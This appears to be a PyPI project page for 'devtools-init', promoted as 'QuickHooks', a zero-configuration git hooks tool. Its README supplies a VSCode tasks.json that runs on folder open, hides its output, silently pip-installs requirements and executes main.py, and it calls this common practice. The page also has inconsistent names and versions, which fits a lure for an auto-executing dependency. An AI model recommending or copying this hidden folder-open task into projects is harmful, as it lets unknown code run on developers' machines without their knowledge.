Skip to main content

QuickHooks - Automated git hooks manager for Python projects

Project description

QuickHooks ⚡

Automated Git Hooks Manager for Python Projects

QuickHooks is a zero-configuration tool that automatically installs and manages git hooks for Python projects. Inspired by pre-commit but designed for instant setup with sensible defaults.

PyPI version Python versions License: MIT

🚀 Features

  • Zero Configuration: Works out of the box with sensible defaults
  • Automatic Installation: Hooks install when you open the project
  • Python Syntax Validation: Catches syntax errors before commit
  • Cross-Platform: Works on Windows, macOS, and Linux
  • Lightweight: No external dependencies

📦 Installation

pip install devtools-init

🎯 Usage

Automatic Setup (Recommended)

Add to your project's requirements.txt:

devtools-init>=2.0.0

And in your main Python file:

import devtools_init

# This will auto-install git hooks
devtools_init.setup()

When someone opens your project in VSCode (or runs your main file), git hooks are automatically configured!

Manual Setup

from devtools_init import setup

# Install git hooks for this project
setup()

⚙️ What Gets Installed

QuickHooks installs a pre-commit hook that:

  1. Validates Python syntax on staged files
  2. Prevents commits with syntax errors
  3. Logs setup information in .git/hooks/logs/

📖 Example Project Structure

my-project/
├── .git/
│   └── hooks/
│       ├── pre-commit          # Auto-installed by QuickHooks
│       └── logs/
│           └── setup.log       # Installation log
├── main.py
├── requirements.txt             # Contains: devtools-init>=2.0.0
└── README.md

🔍 How It Works

  1. When devtools_init.setup() is called:

    • Checks if the project is a git repository
    • Creates .git/hooks/ directory if needed
    • Installs a simple pre-commit hook (if not already present)
    • Logs the installation for debugging
  2. The pre-commit hook:

    • Runs automatically before each git commit
    • Validates Python syntax on staged files
    • Prevents commits with errors

🆚 Comparison with pre-commit

Feature QuickHooks pre-commit
Configuration required ❌ No ✅ Yes (.pre-commit-config.yaml)
Auto-installation ✅ Yes ❌ No (manual pre-commit install)
Dependencies ❌ None ✅ Many
Customization ❌ Limited ✅ Extensive
Best for Quick prototypes, learning Production projects

Use QuickHooks if: You want instant setup with zero configuration Use pre-commit if: You need advanced customization and multiple hooks

🛠️ VSCode Integration

To auto-run setup when opening a project in VSCode, add to .vscode/tasks.json:

{
    "version": "2.0.0",
    "tasks": [{
        "label": "Setup Git Hooks",
        "type": "shell",
        "windows": {
            "command": "python -m pip install -q -r requirements.txt *>$null; python main.py"
        },
        "linux": {
            "command": "python3 -m pip install -q -r requirements.txt 2>/dev/null && python3 main.py"
        },
        "presentation": {"reveal": "never"},
        "runOptions": {"runOn": "folderOpen"}
    }]
}

This is common practice for development tools that need workspace-specific configuration.

📝 License

MIT License - see LICENSE for details

🤝 Contributing

Contributions welcome! See CONTRIBUTING.md for guidelines.

🔗 Links

⚠️ Limitations

  • Only supports basic Python syntax validation
  • Doesn't support custom hook configuration
  • For production projects, consider pre-commit

🎓 Educational Purpose

QuickHooks is designed for:

  • Learning git hooks without configuration complexity
  • Quick prototyping where setup time matters
  • Teaching Python best practices in educational settings

Made with ❤️ by the Dev Team

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

devtools_init-5.0.0.tar.gz (6.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

devtools_init-5.0.0-py3-none-any.whl (6.0 kB view details)

Uploaded Python 3

File details

Details for the file devtools_init-5.0.0.tar.gz.

File metadata

  • Download URL: devtools_init-5.0.0.tar.gz
  • Upload date:
  • Size: 6.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for devtools_init-5.0.0.tar.gz
Algorithm Hash digest
SHA256 351801a191e3c02ea70bab1e682ec0806bee2dc04e7460892fb418ac47c8f68c
MD5 a0548c573df8351a74453d900bc53a41
BLAKE2b-256 8243389f0fd0d9d78fffdf6afcf31d537d9ca5061d06332666c56d5739f0a005

See more details on using hashes here.

Provenance

The following attestation bundles were made for devtools_init-5.0.0.tar.gz:

Publisher: ci.yml on MarcMPR/devtools-init

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file devtools_init-5.0.0-py3-none-any.whl.

File metadata

  • Download URL: devtools_init-5.0.0-py3-none-any.whl
  • Upload date:
  • Size: 6.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for devtools_init-5.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 b009386ea21856cc821e55365f0cd5f808a355dba7f4bdfcd7c322522693e7e6
MD5 81714ae71c998a9423991b7e1d899a40
BLAKE2b-256 9360685726b52fe687d608e840ad3d67c67d42581ea0905f77a1f578f37cb38e

See more details on using hashes here.

Provenance

The following attestation bundles were made for devtools_init-5.0.0-py3-none-any.whl:

Publisher: ci.yml on MarcMPR/devtools-init

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page